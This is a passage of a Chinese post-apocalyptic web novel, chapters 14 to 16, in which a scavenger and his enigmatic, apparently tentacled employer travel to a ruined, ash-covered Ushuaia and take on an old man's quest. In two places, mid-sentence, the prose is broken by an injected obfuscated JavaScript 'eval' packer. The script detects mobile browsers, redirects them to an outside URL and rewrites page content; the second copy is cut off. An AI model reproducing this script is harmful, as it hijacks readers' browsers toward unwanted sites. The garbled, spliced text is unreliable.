应钟微笑:“对。” 书摊老板骂骂咧咧,一边翻白眼一边给他兑换金属。 看在路温的面子上,书摊老板给的汇率还算厚道。应钟拿着兑换好的金属,去集市上购买物资。 维泽全程跟着他,安静无声,像个沉默的护卫。应钟感觉他们俩的身份好像反过来了,不由好笑。 到了下午,应钟准备出发了。他拎出来两个背包,对维泽说:“来,这个你背着。” 维泽倒是没摆大少爷的架子,伸手接过了。但他只是低头看看,并不背到肩上。 直到应钟背起背包,维泽才收回目光,学着他的样子,也背上自己的背包。 内德从门里探出头来,问:“这就走啦?干嘛不等明天上午出发?” 应钟道:“反正都得在野外过夜,什么时候出发都一样。” 内德点点头。目光若有若无地在维泽身上瞟。 应钟走过他身边的时候,内德轻轻说了句:“你小心点。这人我查了下,来路不明。不是那个碉堡家族的人。” 应钟脚步一顿,说知道了。心里头反而有些欣慰。 他也觉得维泽不像那个发世界末日财的缺德家族的人。 两人背着背包,在午后温暖的阳光里离开了城镇。 人类聚集地的围墙在身后渐行渐远,周围的景色也逐渐变得荒芜。 其实在聚集地之外,还有许多人类建筑——这里原本是三环以外的区域,高楼林立,无数高架桥与环线相接。 如今这些钢筋水泥森林都已经破败。生命力旺盛的植物攀爬在建筑表面,高架桥中间钻出参天大树。 人类向大自然掠夺的土地,如今又被大自然重新占据。 应钟走在高架桥下面,注意避开地上的粗壮植物根系,边走边问:“你不怕么?” 维泽:“怕什么?” 应钟:“跟陌生人一起出远门,不怕我把你卖了?” 维泽问:“为什么?” 应钟一时不知道怎么回答,只好笑笑,转移话题道:“你以前是哪里人?” 维泽想了想,说:“很远的地方。不在这里。” 很好,有问必答废话机器人又上线了。应钟识趣地没再追问,随手砍断一条拦路的粗壮藤蔓。 那条藤蔓是变异过的,被砍断的地方冒出漆黑如油的汁液。幸好它只是把自己进化得难看,暂时还没变异出行动能力。 应钟观察了下,确认那东西只是扭得很难看,并没有任何攻击性,这才甩掉砍刀上的黑色汁液。带着维泽继续前行。 夕阳渐渐沉下,隐落在高大颓败的建筑物之后。巨大植物的影子被拉得越来越长,高架桥下面变得阴冷。 这一路上没遇到什么危险。大概是距离人类生活区域还算近的关系,一些野生的变异怪物会被出门的冒险者们随手清理掉。 久而久之,这一段就只剩下空旷荒芜的建筑群,被日益茂盛的野生植物吞噬。 人类过去的一切成就,辉煌,就这样成为旧世界遗迹。 应钟开始寻找生火和过夜的地方。在人类聚集地之外的废土上,很难说更危险的是没有遮挡的露天环境还是深不可测的漆黑建筑物。 应钟最终选择了一座商场。这座商场有着空旷巨大的玻璃大厅。外围的玻璃已经全部碎光,屋顶倒是还算结实。 在这里生火不用担心火灾,一旦有什么危险,战 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应钟心想那随便你吧。罐头开都开了,不吃也是浪费。应钟美滋滋地吃了顿大餐,感觉整个人从里到外暖和起来。 两个睡袋挨得很近。两个人并肩躺在废弃商场空旷的大厅里,仰头可以看到透明穹顶上稀稀落落的星星。 两人中间放了个小提灯。应钟就着微弱的灯光,拿出笔记本。 ——当然不是笔记本电脑。只是纸质笔记本。 维泽问:“你在写什么?” 应钟说:“我在更新地图。内德给我的是五年前的老地图,大多数地标建筑都还在。有些地方已经坍塌了,需要更新一下。否则以后用这张地图的人会无法分辨方向。” 维泽:“不能用指南针吗?” 应钟笑了下,耐心解释道:“大灾害之后,全球磁场混乱。指南针早就没法用了。太阳的方向有时候也不准,只能靠地图。靠双.腿去走,顺便把地图人力更新。大少爷,你平常很少出门吗?” 维泽缓慢地眨了下眼,英俊的脸庞在小提灯醺黄的映照下犹如完美雕塑。 应钟瞥了眼他那绿宝石一样的眼睛,忽然又想到维泽喜欢读书,下意识说:“我想起王尔德的那个童话。” 维泽果然被勾起兴趣,坐起身,问:“什么?” “《快乐王子》。其实我觉得不能算童话。或者说不是写给小孩子看的童话。”应钟说,“太虐了。小时候看得我哭了一晚上。虐得心肝疼。” 维泽:“我没有看过,在哪里。” 应钟哭笑不得:“我没有这本书啊,都说了是小时候看的。而且出远门怎么可能还带本书,还是童话……你想听吗?我可以给你讲一下。只能大致讲一下,因为是我很小很小时候看的了。” 维泽大半个身子从睡袋里钻出来,又挪动着把睡袋往他这里移了下。 应钟感觉到他的靠近,一股温暖的热意,散发出成年男性的肌肤气味。 那气味干燥而洁净,让人联想起壁炉和书架。 应钟心里有种温暖的感觉。边上睡袋窸窸窣窣,维泽又从口袋里掏出金子,熟练地递给他。 “不,这个不……”应钟哭笑不得,想了想还是收下了,自言自语道,“算了,这个可以收费,睡前听书是额外付费项目。” 维泽把睡袋朝他这里又拉近了些。 应钟快速把手里的笔记收了个尾,和他一起躺下。 看着透明穹顶上璀璨清冷的夜空,应钟回忆着说: “快乐王子的雕像矗立在城市里。他的身上镶满了黄金叶片,他的眼睛是漂亮的绿宝石做的……” 14.第14章 触碰 应钟说完了《快乐王子》的故事,眼睛酸酸的,胸口有点闷。 这个童话他是很小很小的时候看的,那时候刚上二年级,爸妈鸡娃鸡得厉害,买了不少书给他看。其中就包括这部童话集,而且还是英语原文版的。 应钟看完,哭得要死,第二天眼睛肿得都没法上学。 一眨眼二十年过去了,应钟现在想起这个童话,还是感到很难过。 “故事讲完了。睡吧。”应钟嗓子有点哑,不太想跟维泽交流读后感,这太奇怪了。 “好。”维泽很平静,拉上睡袋。 应钟关掉提灯,说:“晚安。”周围陷入一片黑暗,唯有头顶的星空投下细碎银光。 维泽在黑暗里静了片刻,仿佛学着他的模样,也说:“晚安。” 应钟闭上眼,迷迷糊糊地快要睡着了。维泽突然又开口:“快乐王子为什么要毁坏自己的身体,来帮助陌生人?” “因为他很善良……”应钟困得要死,脑子像浆糊一样转不动。心想说过晚安不就该睡觉了吗,为什么还要聊天。 “你为什么帮小谢?他没有给你金子。”维泽问,“因为你也很善良吗?你想当童话里那样的人?” 应钟觉得维泽这问题问得像个二年级的小朋友,又像个不懂人类情感的智障机器人。 他迷迷糊糊伸出手,去摸维泽的头发,说:“不是。别问了。睡吧……” 维泽就不再说话了。 后半夜。 商场外头有动静,鬼鬼祟祟,由远及近。很明显是人类刻意压低的脚步声。 有三个。 维泽在黑暗中睁开眼睛。绿宝石一样的眸子闪烁着奇异的光芒。 “继续睡。”应钟闭着眼睛,呼吸均匀。他翻了个身,随手把胳膊搭在他肩膀上,安抚似的说,“别担心,我来处理。” 维泽抬眸看着他。“嗯”了一声,又闭上眼。 两人背后,应钟看不到的地方,无数巨大触手黑影从墙壁上缓缓消失。 三个穿着冲锋衣、手拿刀具的男人,彼此使眼色,悄悄靠近。 距离维泽和应钟的睡袋只有七八米的时候,三人的脚步忽然一顿。他们不自然地抬了抬脚,靴子却好似被什么紧紧吸附住,令他们行动困难。 “老大!”其中一人小声惊呼,“地上有东西!” “靠!”老大低声咒骂,表情变得非常难看,“是黏菌!这里怎么会有黏菌?!” 啪嚓。提灯倏然点亮。三人猛地一惊,抬头望去,只见应钟打着哈欠从睡袋里坐起来,睡眼朦胧地看着他们。 “几点了?”应钟仿佛对着朋友说话,语气懒懒散散,“想干嘛?” “你……”那三人很快明白地上这团黏菌是对方布下的陷阱,正想一举冲上去,却发现那黏菌生长速度极快。 一两秒钟的功夫,已经顺着靴子爬上了他们的裤脚管。三人登时脸色大变。 “老大!老大!这是变异过的黏菌!”一人慌张地哭叫起来,“它黏住我了!怎么办怎么办!” “别他.妈鬼叫了!”老大咆哮,“先弄死那两个混蛋!” 两个小弟开始手忙脚乱地掏枪。应钟抬手比了个制止的动作,漫不经心道:“我劝你们不要。这种黏菌最多一分钟就会爬进你们的嘴巴,覆盖你们的内消化道。如果你们开枪,那就没人来救你们了——我想你们身上没带生石灰吧?” 应钟指间把玩着一个玻璃瓶,里面正是粉末状的生石灰。 黏菌犹如黄色脂肪,顺着三人的小腿飞快生长。菌丛脉络翕张搏动,仿佛在活人身上迅速铺开一张会呼吸的脂肪网。 而生石灰正是这种湿漉漉黏糊糊的变异黏菌最大的克星。 “你……”老大终于反应过来了,咬牙切齿,“说吧!你想干什么!” “来都来了。”应钟微笑,“打个劫吧。” 三人:“……” 空旷的商场里顿时响起叮铃哐啷,三人骂骂咧咧,手忙脚乱地把身上值钱家伙往外扔。 应钟举起提灯打量,醺黄的温暖光芒照亮了手枪、子弹、弹簧刀、食物罐头。甚至还有一盒止痛药。 止痛药这种东西在末世里真的能救命。应钟不是没见过活活痛死的人。 “日子过得不错嘛。”应钟拎着自己的背包,像收获农作物一样弯腰一个个捡起来。 那三人看得牙痒痒,其中最胆小的那个已经尿裤子了,哭着道:“东西已经全给你了,你快点救我们啊!” 应钟问:“真的都没了?” 三人愤怒地向他展示空空如也的裤兜:“没有了!” 黄色脂肪一般的黏菌已经蠕动着爬上了他们的胸口,好在晚上气温低,三人穿的冲锋衣都密封紧实。 黏菌无法从衣服缝隙里钻进去,唯一可进入人体的入口就是他们的口鼻。 更糟了。 黏菌犹如具象化的恐惧,冰冷黏.腻地爬上他们的身体。三人都情不自禁地发抖,眼神里写满恐惧。 应钟抓紧时间问:“关于乌斯怀亚,你们知道多少?” “乌斯怀亚?”老大反问,“世界尽头?” 应钟挑眉,心想今天运气不错,居然问对人了。 侵袭性黏菌的威慑力十分惊人。那三人一听应钟要问乌斯怀亚,立马竹筒倒豆子似的把知道的东西都说出来了。 原来这伙人刚从那个方向过来。乌斯怀亚早在大灾害发生的时候就成为了废墟,那里气候恶劣,这二十年来也没有人去建造人类聚集地。 如今那里唯一的居民,是一个性格古怪的老头。 “那老头有胃病,跟我要止痛药,但却不肯给钱,还要我帮他干活儿……”老大一边说着一边拼命往上伸脖子,试图躲避黏菌的侵袭。 “为什么?”应钟问。 “我怎么知道为什么!他抠门呗!”老大怒了,咆哮道,“你到底救不救我?!我他.妈快要被——啊呸呸呸!” 老大话没说完,应钟已经一把生石灰撒过去了。 灰白色的粉末非但阻止了黏菌进一步往上,还糊住了老大的嘴。 生石灰遇水会发热——老大表情痛苦,拼命往外吐着口水。 另外两个小弟见状赶紧闭上眼睛嘴巴,瑟瑟发抖,等待被应钟撒石灰。 应钟撒完石灰,拍拍手,说:“好了。” “你他、呸呸、妈……”老大像个羊驼一样,一边噗噗吐口水,一边恼羞成怒地骂街,“我们的脚还被黏着呢!呸呸、你这让我们、呸呸呸……” 生石灰撒在三人的胸口位置。黏菌无法再往上攀爬,只能在三人胸口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394306|200328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以下的区域发扬壮大。眨眼间就把三人包裹得更严实了。 应钟道:“当然是让你们待在这里不要走动啊。不然你们脱困了来打我怎么办。” 三人看着他手里一背包的缴获枪支:“……” “别担心。天一亮这些黏菌就会自己退下了。”应钟友善地拍拍老大的肩膀,“但是你们最好祈祷在这期间没有别的怪物进来。” 老大:“……” 距离天亮还有一个小时。应钟昨天睡得早,这会儿已经不困了。 应钟对付这三个强盗的时候,维泽始终坐在睡袋里不发一言。应钟心想大少爷大概是被吓傻了。 然而转过身去时,却见维泽目不转睛地看着他,说:“你很聪明。” “哪里哪里。”应钟谦虚道,“是他们笨。” 三个笨蛋强盗:“……” 应钟和维泽收拾完东西,太阳已经从天边冒了个尖。 苍青色的黎明仿佛刚睡醒,连灵魂都还是湿的。 两人各自背着沉甸甸的背包——里面装满了刚刚缴获的枪支和食物,背包比出发前更重了。 应钟对着地图确认前行方向,一边随口问:“睡醒没?” “嗯。”维泽点头,忽然若有所思,盯着他的脑袋,“你为什么睡觉的时候还戴着帽子?” 应钟下意识地笼了下兜帽。他脚步微缓,心想这趟旅途不短,也没什么好瞒的。 于是他扯下兜帽,在清冷的晨风中甩了甩脑袋,笑道:“因为我是夜光白毛。” 维泽睁大眼睛。 绿宝石般的眼眸里,清晰倒映出对方银白丝缎一样的头发。 晨昏交替,暮色被初生的朝阳驱散,应钟的银白发色也如潮水般褪.去。逐渐恢复成正常的黑色。 维泽盯着他的头发,不由自主地靠近。抬起手,似乎想要触摸。 应钟已经习惯于别人看到他头发时的惊异,也不觉得冒犯,给人摸下头发又不会掉块肉。 然而维泽的手却在触碰到他之前顿住。 应钟隐约有种预感,便笑着伸出手,开玩笑道:“这个确实可以收费,毕竟我是卖艺不卖……咦?” 应钟一愣,低头去看自己的掌心。 只见维泽拿出一块接一块的金子。大小不一,很快就堆满他的手掌。堆成一座沉甸甸的小山。 应钟不得不双手捧着那堆金子,整个呆住。 这次怎么突然给这么多…… “很漂亮。” 维泽开始一下一下抚摸他的头发。 应钟满脸通红。维泽站得离他很近,宽松的学者外衣传来露水和植物清冷的气息。 应钟不知怎么脑子一抽,说:“你的眼睛也很漂亮。” “你要摸一下吗?”维泽从他手里拿回来一小块金子。然后微微俯身,与他平视。清透翠绿的眼眸安静等待着他。 应钟愣了愣,反应过来,不由哈哈大笑。 心里有种奇异的感觉。应钟抬起手,以指腹轻轻碰了下他的眼尾。 维泽没有眨眼,绿宝石闪烁着莹润的光泽,仿佛下一秒就会落入他的掌心。 维泽的皮肤干净柔软,有种很温暖的触感。应钟收回手,笑着说:“好啦,走吧。省得那三个笨蛋追上来。” 维泽:“嗯。” 15.第15章 委托 按照地图指引的方向,一路向南,周围的景色也渐渐有了变化。 破败大楼逐渐减少,取而代之的是无人耕种的农田。 高架桥极其难得才出现一次,也已经是断壁残垣,像巨人突兀断裂的残肢,灰突突矗立在荒草之中。 应钟有时停下休息,布置陷阱,试着捕捉一些鸟雀或者小型兽类。有时他们会遭遇怪物,各种变异的动植物,不算太难对付。 天气越来越冷。但这并不是因为凛冬将至,而是他们距离乌斯怀亚越来越近了。 “以前没有这么近。”应钟随意地踢开路面上的石子,“以前想要去南极,得先坐飞机到阿根廷,然后再从阿根廷坐游轮……” 而现在只需要徒步五天。 没有人知道大灾害到底是怎么回事。人们只是在仓皇奔逃间,发现整个世界天翻地覆。 如同被丢进滚筒洗衣机,地球撞得晕头转向。大陆断裂,海水奔涌。许多地方出现了毫无规律的离奇位移。 有人前一天晚上还住在家乡小县城,第二天早上开门,发现家门口变成汪洋大海,而后院是非洲大裂谷。 南北两级磁场消失,太阳不再东升西降。空气,水,土壤,到处充斥无法分析的污染物。动植物以超出人类理解能力的方式变异。 全球人口死伤惨重。具体还剩多少幸存者,无人知晓。因为至今为止人类都还散落在世界各处,没有任何一个政府或者组织能把人类大规模整合起来,也就无法进行伤亡统计。 这也就是为什么,应钟如今定居的那座人类聚集地,如今住满了来自全球各地的幸存者。 都是在离奇位移中莫名其妙来到这里的人。 也有人想回去,想回到自己的故乡,但是故乡在哪里? “你冷不冷?”应钟问。 维泽摇头,仰望着苍穹。遥远天边浮动着橙红色的火光。太阳快要下山了。 “今晚我们就可以到乌斯怀亚。”应钟说,“再坚持一下吧。晚上我们在乌斯怀亚过夜。” 根据内德的情报,乌斯怀亚早在大灾害时期就沦为废墟。 由于靠近南极,大灾害发生时那座城市遭受的损失尤为巨大。大地开裂,房屋几乎全部倒塌。无数人被困在废墟里,被当场砸死,或者活活饿死。 在那种全球性的混乱下,救援根本无法开展。 后来的二十年,由于环境恶劣的关系,幸存者们也从未考虑过在这里建造聚集点。 一座城市就这样死去。 天色渐暗,只剩下天边那一抹橙红,照亮遥远的天空。 地上倒着一块巨大的木牌,上面用许多种语言写着“此处是世界的尽头——乌斯怀亚”。 木牌从中间裂开,表面覆盖着厚厚尘土。 应钟试着扶了一下,太沉了,根本立不住。木头已经腐朽,稍微不小心就会整个碎掉。 算了,不扶了。反正这里都已经不是世界的尽头了。 这个位置,放在大灾害以前,差不多是首都隔壁那个省的省会。很近,坐高铁一个小时的距离。 南极居然跑到隔壁省省会去了。这种事情放在大灾害前,是想想都会觉得好笑的程度。然而现在却成了事实。 “这是什么?”维泽环顾四周,摊开手掌去接天空飘落下来的雪花。 应钟伸手捻了捻,手指头立刻变得黑漆漆。应钟看着指尖有些发愣:“这是灰烬。” 原来灰蒙蒙的天空不是因为下雪。这里的气温虽然低,却完全没有想象中的南极那么冷。 就连靴子底下踩着的地面都是软绵绵的,踩下去有轻微凹陷。 不是积雪。是常年无人踏足的灰烬。 远处火光冲天,空气中有硫磺的味道。 从天而降的灰烬好像已经这样静静降落了一万年。 两人来到高处,极目远眺。看到海平面那一头,熊熊火光仿佛亘古不熄。 “南极在燃烧……”应钟喃喃。 维泽对此倒是没什么反应。应钟侧过头,看到他一如既往的平静表情。 绿宝石般的眼眸里倒映着火光。维泽说:“这里就是世界尽头。” “嗯。”应钟说,“走吧,陪你逛逛。” 两人从残破的建筑物上下来。应钟回头,发现角落里掉着一块标牌。原来这座歪倒在地上的建筑是曾经的博物馆。 玻璃展柜里的骨制鱼叉和海狸填充玩具被灰烬覆盖,石墙风化,屋顶坍塌。 耐寒的变异植物舒展藤蔓,在曾经的展厅和走廊之间自由生长。 这座城市很小。走出一段距离,两人来到一座车站。半截列车孤零零地立在轨道上,厚厚一层灰烬覆盖。 “世界末日列车。”维泽低头读出地上那块指示牌上的文字。 “它以前就叫这个名字吗?”应钟笑了下,“感觉有种黑色幽默。” 列车竟然没倒,不知道是有人修复的还是奇迹般地从灾难中幸存下来的。 应钟饶有兴致地走上火车头,擦擦仪表盘。 灰烬弄脏了他的袖子,应钟试着去推了下拉杆,遗憾地说:“如果还能启动就好了。” 维泽看了他一眼。 喀拉。似乎是某种生锈的东西松动的声音。 应钟吃了一惊,下意识把维泽护在身后,警惕环顾四周。 维泽笼了笼衣服下摆,用人类的身体挡住从车门下方钻出去的肉红触手。 粗壮的触手以吸盘吸附着地面,利用反作用力推着火车前行。 “……这火车质量真好。”应钟瞠目结舌,“不愧是世界末日列车……” 列车缓缓行进着,铁轨上覆盖着松软的灰烬,被车轮一碾,压成厚实的白色粉末。与赤红色的铁锈一起,纷纷掉落在轨道旁。 列车穿过荒芜的城市,穿过被藤蔓包绕的枯木。应钟确认周围没有危险,渐渐放松下来。和维泽一起注视窗外的场景。 维泽来到这里,是会失望,惆怅,还是觉得“果然如此”? 应钟没看过那本《世界尽头与那什么什么》。此刻他忽然觉得,如果自己看过就好了。这时候他们可以聊聊书里的内容,或许他就可以知道维泽此刻的心情。 远处天空被烧得通红,微风透过列车破碎的窗户,送来朽木和苔藓的气息。凛冽清澈。 这种身边有人陪伴的感觉真好。应钟想,哪怕他们只是萍水相逢,哪怕他们甚至还算不上是朋友。 列车缓缓驶回车站。天色已暗,两人下车。应钟刚要举起提灯照明,灯光照亮一张满布皱纹的脸。 应钟被吓了一跳,差点拔枪。维泽道:“是人。” 应钟定了定神,这才看清,那确实是个老人。 老人是东方人长相,身材矮小,头发花白。他叼着烟斗,扛着把铲子,看上去身体很硬朗,表情却十分古怪。 这大概就是那三个笨蛋强盗所说的,世界尽头最后一位居住者? “老人家,你好……”应钟礼貌地上前,目光快速打量对方,判断对方是否有威胁性。 老头吐出烟圈,朝他们俩翻了个白眼。 “你们买票了吗?!谁让你们擅自把火车开出来的?!是谁允许的?!” 应钟:“……” 维泽:“……” 万万没想到,老头居然发动了道德攻击! 应钟瞳孔地震:“这个车站居然还在营业吗?!” “没。”老头嘬了口烟斗,“二十年没开过,里头的汽油应该早就蒸发光了吧。” 应钟茫然:“可我刚才拉了一下拉杆,火车就直接跑起来了……” 老头:“谁知道呢,可能有地缚灵也说不好。你知道的,这里以前死过很多人。” 应钟:“……” 维泽:“……” 老头:“来都来了,要不要参观一下世界尽头的邮局?” 应钟看了维泽一眼,感觉有些尴尬。这老头确实和笨蛋强盗们说的一样,脾气十分古怪…… 不过有一点老头说得对,来都来了。 应钟转头征求雇主的意见,维泽说:“好。” 于是两人跟在老头后面,慢吞吞地朝前走。 这老头走得实在是太慢了。应钟觉得肚子有点饿,想尽快参观完邮局找地方吃晚饭。他忍不住走快了些,稍微超过了老人家。老头顿时不高兴了,扭过头嘟嘟囔囔:“现在的年轻人真是没礼貌……” 应钟:“……” 应钟只好无奈地放慢脚步,退回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“对。”老头哼了一声,“大灾害前,整个小镇就是个大型旅游景点。‘世界尽头’嘛。除了‘世界尽头的邮局’,这里还有‘世界尽头的灯塔’、‘世界尽头的监狱’、‘世界尽头博物馆’……” 邮局小屋的墙上贴满明信片。纸张都已经陈旧泛黄,每一张上面都写着字。维泽面对着整整一墙的明信片,认真阅读明信片上每个文字。 应钟知道他阅读癖又发作了,也不去打扰他。于是随口跟老头闲聊。 原来老头名叫荒木志保,二十年前来这里旅游。大灾害突然发生,他被困住。幸存下来后发现家乡回不去了,索性定居在这里。 二十年过去了,他依旧是这里唯一的住民。寂寞归寂寞,生活倒是还算富足。毕竟整座城镇的食物燃料,一切物资随便他使用,他甚至还拥有一座小型发电机。 “难怪这里有电……” 应钟忍不住感慨,别看老人家一个人留守在世界尽头,人家的居住条件比我的小破公寓好多了。 他卧室里甚至还有取暖器呢! 应钟跟荒木志保聊了半天,估计维泽也参观得差不多了,正想问他要不要走,老头忽然拍了拍应钟的肩膀,咧嘴笑道:“年轻人,我看你跟我聊得挺投缘的。这样吧,我这里有个委托。你要是做到了,我就给你一个神秘报酬怎么样?” 应钟一听,顿时有种诡异的熟悉感。 他狐疑地看了老头一眼,再看看周围贴满四面墙的明信片,心中忽然警铃大作。 应钟:“你不会要我帮你把这些明信片全都送出去吧?!” “怎么可能,我又不是游戏NPC。”老头虽然否认了,但应钟这话很明显取悦到他。 老头仿佛一下子年轻了二十岁,笑得脸上皱纹都快看不见了。 应钟终于反应过来这种遥远而熟悉的感觉是什么了。 这老头嘴上说着不是,实际上完全把自己当成发布任务的游戏NPC了吧!而且明显乐在其中! 应钟面无表情,扭头问维泽:“看完了吗?看完了就走吧。吃饭去。” 维泽:“好。” 两人麻利地走出小屋。 “哎?等等?”老头懵了,步伐如飞地追出来,气愤地拿烟斗在铁皮小屋上狂敲,“我会给你们报酬的啊!你们要是完成得好还能触发追加隐藏任务的啊!真的不考虑一下吗?喂年轻的冒险者?至少听我说一下委托内容再决定接不接受吧?喂喂喂?!” 16.第16章 变化 荒木志保健步如飞,追出来很长一段距离。应钟拉起维泽的胳膊就跑,差点被追上。 “等等!等等!” 当应钟和维泽跑过一座黑色的建筑废墟时,荒木志保叫唤的语气忽然变了。 他很急促地喊道,“喂!喂!你们都跑到任务地点了!来都来了!真的不听一下我的委托内容吗?!” 应钟侧头瞥了眼,发现那座黑色建筑上歪歪扭扭地挂着个牌子。上面写着:世界尽头监狱博物馆。 应钟一瞬间以为自己看岔了,心想这里到底是监狱还是博物馆。博物馆不是刚刚已经见到过一个了么…… 两人从监狱博物馆门口跑过,荒木志保的咆哮声炸响在耳畔:“请帮我找到戒指!拜托了!” 应钟:“……” 这是求人的态度吗! 不过……戒指? 那应该是很重要的东西? 应钟放慢脚步,刚要回头,却忽然感到一阵眩晕。 他身子一晃,幸好下一秒就恢复了平衡。 荒木志保追上来,骂骂咧咧道:“跑这么快干什么!不接受任务又不会触发战斗!” 应钟嘴角一抽,正想说些什么,肚子却咕噜噜叫了起来。 ——刚才的眩晕感,难道是低血糖? “不至于吧……”应钟吃惊地摸摸肚子。 维泽问:“你饿了吗?” 荒木志保抓紧时机,说:“走吧小伙子!去我那里坐下来边吃边聊!” 应钟无可奈何,只好跟着荒木志保来到海岸边的灯塔。 应钟本来以为荒木志保住在小镇里,没想到他选择灯塔作为自己的避难所。 这座灯塔年代久远,高高的墙体灰突突的,充满了风吹日晒的痕迹。 令人惊讶的是,灯塔竟然还亮着。 应钟下意识望向海面,远处火光冲天。 万年冰封的南极洲如今成为连绵不绝的火海,哪怕隔着这么远的距离,仿佛都能感觉到热浪。 末世已经二十年,海面上当然不可能再有航行的船只。 既然如此,灯塔的存在有什么意义? 荒木志保却很偏执地检查了下灯塔的情况,松了口气说:“还好还好,我走开的这段时间,灯塔一直在工作。” 应钟瞥了他一眼,荒木志保笑着解释说,自从决定在这里定居,他就自觉担当起了灯塔看守者的责任。 总不能白拿小镇居民的遗物吧。 “直接说你的任务委托吧。”应钟不想跟这老头多废话。他觉得这老头有点古怪。维泽毕竟还在身边,他得为这位大少爷的安全负责。 荒木志保也不浪费时间,一边煮蔬菜汤一边拿出几个罐头,很大方地全部打开。然后对两人说:“我有一枚求婚戒指,遗失在监狱博物馆里了。请你帮我找到它。” 应钟狐疑道:“你在这里都住了二十年了,你没进去找过吗?” 荒木志保挠挠头:“找过啊,进去了不知道多少次,但就是找不到。很邪门,我怀疑里面有什么鬼怪迷惑了我,让我对重要的东西视而不见。” 应钟挑眉,不置可否。 在末世废土生存了二十年,乱七八糟的变异生物见了不少。鬼魂倒是从没见过。 这趟要是能见鬼,倒也算不虚此行。 蔬菜汤在煤气炉上烧开,噗噜噗噜的沸腾声让灯塔小屋变得温暖。 维泽把自己面前热气腾腾的罐头推给应钟,应钟皱眉:“你又不吃?” 维泽说:“不吃。” 应钟看了眼面前的几个罐头:鹰嘴豆泥、茄汁黄豆、腌黄瓜。 全都是素的。 不过哪怕是肉罐头,大少爷也不爱吃。简直比人鱼还挑食。 这些天来,维泽从未在他面前吃过东西。一次都没有。 应钟心想他大概自己私藏了些食物,躲起来偷偷吃的。也没去追问。只是好奇他把食物都藏在了哪里。 总不能把那件学者外衣撩起来看看底下藏了什么大宝贝吧。 话说回来,荒木志保还真是够小气的。都主动拿罐头出来招待客人了,居然连一个肉都没有。 应钟有些漫不经心,随意拿勺子挖着罐头里的茄汁黄豆。一口下去,味道还挺不错。 应钟有点想让维泽尝尝,想了想还是算了。没必要干涉人家大少爷的生活方式。 应钟跟荒木志保边吃边聊,荒木志保给他看自己手上戴着的戒指。任务委托里他丢失的就是与手上这只成套的另一枚女戒。 维泽安安静静地坐在一旁,似乎对老人的委托没什么兴趣。也不吃东西。只是拿出一本书看。 好一个精神食粮。 饭吃完了,委托任务也听完了。 荒木志保把两人送到灯塔门口,大声道:“找到戒指了就到这里来找我!” 应钟不置可否,只是朝他挥挥手。 两人并肩朝小镇走去。打算找个相对安全的小屋子过夜。 “你觉得呢?”应钟说,“如果你想早点回去,我们明天一大早就走。听你的。” 维泽说:“我想去看看那个博物馆。” 应钟笑着说:“毕竟来都来了?” 维泽:“?” 应钟看着他那张带着混血儿风格的脸,心想大少爷可能不太懂这个梗。 人类聚集地里居住着来自全球各地的幸存者。二十年过去,大家已经形成一套新的语言系统。各国语言夹杂,彼此日常交流互相都能听得懂。 但一些俗语或者民俗传统,依旧仅限于来自同样故乡的幸存者们。 于是应钟给他解释,在自己很小很小的时候,大家就很喜欢玩的那些梗: 来都来了、大过年的、还是孩子、人都死了…… 维泽:“……” 摇摇欲坠的小屋里,海风送来硫磺的气息。 应钟已经熄灭了提灯,维泽还是不肯放过他。把睡袋窸窸窣窣地拉过来,问他:“还有吗?” 维泽对“来都来了”系列非常感兴趣。不断不断地要他说。 应钟困得打了个哈欠,让他别闹了早点睡,一转头对上他的眼睛。 黑暗中维泽的眼睛犹如绿宝石,闪烁着奇异而瑰丽的光辉。 真漂亮。 应钟看得心里晃了一下,他翻了个身,拉紧睡袋,说:“睡觉!” 维泽也就不再说话。很听话。 第二天一大早,应钟醒来,打算随便弄点东西吃。维泽正坐在沙发上。 阳光斜斜地照在他身上,维泽安静地捧着一本书看。 那场景安详而美好,应钟欣赏了一秒钟,忽然感觉哪里不对劲,然后哭笑不得地把人拉起来。 灰尘四起。 “难怪你……咳咳……衣服这么脏……”应钟一边拍打他背后的灰尘,一边在心里感慨果然是被伺候惯了的大少爷,这沙发上这么多灰,他居然也坐得上去。 维泽扭过头去,看看自己被拍干净的后背。 应钟发觉他手里拿着的那本书,是个没见过的封面,随口问道:“你在看什么?” “我在书架上找到的。”维泽指了指客厅另一侧,“那里还有很多。” 应钟拆了一包压缩饼干,礼节性地递给雇主。和往常一样,维泽礼貌回绝。 应钟猜他可能已经吃过了,也不多嘴。 简单快速吃完早餐后,两人出发去监狱博物馆。 根据荒木志保提供的信息,这座博物馆,最初是一座真正的监狱。 乌斯怀亚位于大陆尽头,一度被认为是环境气候恶劣、生存条件极差的地方。这种地方最适合流放某些罪大恶极的犯人。于是人们在这里建造监狱。 后来因为人权问题,监狱被废弃。“世界尽头”之名带动旅游业发展后,当地人把它改造成了博物馆,向游客们展示那段真实存在过的历史。 说是博物馆,其实占地面积也不是很大。跟应钟小时候在首都参观过的博物馆完全不能比。 不过想想整个乌斯怀亚也就是个小城镇,就连所谓邮局都只是个破集装箱。监狱博物馆才这么丁点儿大的地方,也就情有可原了。 应钟来到监狱博物馆门口,朝着里头黑漆漆的通道张望。 那种怪异的眩晕感突然再次袭来。 “怎么了?”维泽已经踏上台阶,回过头来看他。 “没什么。”应钟嘴上说着,却心生警觉。 他刚吃过压缩饼干,不可能是低血糖。 ……难道是血压高了? 小时候听大人说过,天气寒冷的地方血管会收缩,高血压会更容易发作……但乌斯怀亚其实并没有那么冷。南极还在烤火呢。 应钟正在思考,踏入监狱博物馆的一瞬间,他不由吃惊。 “这里面好大。”应钟错愕,回头看向入口。 来时的通道仿佛变得非常遥远,阳光只照亮了入口处很小的一片地方。 然而从外面看起来小而破败的监狱博物馆,走进来竟然如此空旷高大。 